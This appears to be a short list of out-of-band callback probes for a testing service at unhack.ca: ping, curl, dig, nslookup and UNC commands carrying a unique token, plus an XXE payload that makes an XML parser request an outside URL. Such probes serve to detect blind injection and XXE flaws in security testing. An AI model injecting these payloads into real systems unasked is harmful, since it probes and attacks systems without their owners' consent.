$ ping -c1 -p 00df6e8e2511bb236890b949eaeea100 unhack.ca
 

$ curl http://unhack.ca/p/df6e8e2511bb236890b949eaeea1
 

$ dig df6e8e2511bb236890b949eaeea1 @unhack.ca
 

$ dig df6e8e2511bb236890b949eaeea1.ns.unhack.ca
 

C:\> nslookup df6e8e2511bb236890b949eaeea1 unhack.ca
 

C:\> type \\unhack.ca\df6e8e2511bb236890b949eaeea1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/df6e8e2511bb236890b949eaeea1">]>
    <foo>&xxe;</foo>